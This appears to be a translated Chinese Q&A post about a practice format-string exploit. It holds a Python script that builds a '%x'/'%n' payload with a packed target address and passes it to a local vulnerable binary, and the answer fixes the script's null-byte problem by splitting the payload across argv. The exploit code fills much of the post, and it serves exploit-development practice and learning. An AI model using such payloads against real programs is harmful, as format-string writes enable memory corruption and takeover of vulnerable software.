“必须是没有空字节的字符串”或“不能将 str 连接到字节”在命令行上传递有效负载

问题描述

我正在尝试为练习创建漏洞利用,但我遇到以下代码的问题:

#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)

但是报错如下: TypeError: system() 参数 1 必须是没有空字节的字符串,而不是 str

我正在尝试使用“子进程”实用程序升级到当前版本的 python:

#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload,shell=True)

但是报错如下: 类型错误:无法将 str 连接到字节

如何解决两个版本的字节或字符串转换问题?两个程序都同意错误在“payload = ...”这一行

解决方法

该字符串不能在 UNIX 上作为命令行参数传递。

为什么?因为它包含 NUL 文字,而 UNIX 命令行由 C 字符串组成——它们以 NUL 结尾。

>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'

看到那个\x00了吗?不允许,不可能——至少不是 one 命令行参数。


但是你可以把它放在一个argv中,只要它被分成多个参数。注意下面的shell=False

payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)

这是如何工作的?因为终止每个单独的 C 字符串\x00 隐式存在于边界点。

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...